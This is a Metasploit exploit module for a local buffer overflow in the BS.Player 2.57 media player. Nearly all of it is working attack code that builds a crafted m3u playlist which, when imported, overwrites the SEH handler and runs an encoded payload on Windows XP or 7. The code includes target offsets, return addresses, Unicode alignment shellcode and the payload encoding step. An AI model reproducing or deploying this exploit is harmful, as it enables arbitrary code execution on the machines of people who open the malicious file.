BS.Player 2.57 – Local Buffer Overflow (SEH Unicode) (Metasploit)
## # $Id: $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)', 'Description' => %q{ This module exploits a buffer overflow in BS.Player 2.57. When the playlist import is used to import a specially crafted m3u file, a buffer overflow occurs allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'C4SS!0 G0M3S ', # Original Exploit 'Chris Gabriel', # MSF Module #Greets: Corelan team for mona.py & awesome tutorials ], 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/15934/' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', #'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00\x0a\x0d\x1a\x80", 'DisableNops' => true, 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Windows XP', { 'Ret' => "\x2f\x49", 'Offset' => 4102 } ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) [ 'Windows 7', { 'Ret' => "\x2f\x49", 'Offset' => 4102 } ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) ], 'Privileged' => false, 'DisclosureDate' => 'Jan 07 2010', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class) end def exploit nseh = "\x61\x42" align = "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x58" # POP EAX align += "\x6d" # PAD align += "\x50" # PUSH EAX align += "\x6d" # PAD align += "\xc3" # RET if target == targets[0] then padding = rand_text_alpha_lower(1879) elsif target == targets[1] then padding = rand_text_alpha_lower(1931) end enc = framework.encoders.create('x86/unicode_mixed') register_to_align_to = "EAX" enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to }) unicodepayload = enc.encode(payload.encoded, nil, nil, platform) buffer = "http://" buffer << rand_text_alpha_lower(target['Offset']) buffer << nseh buffer << target['Ret'] buffer << align buffer << padding buffer << unicodepayload file_create(buffer) end end |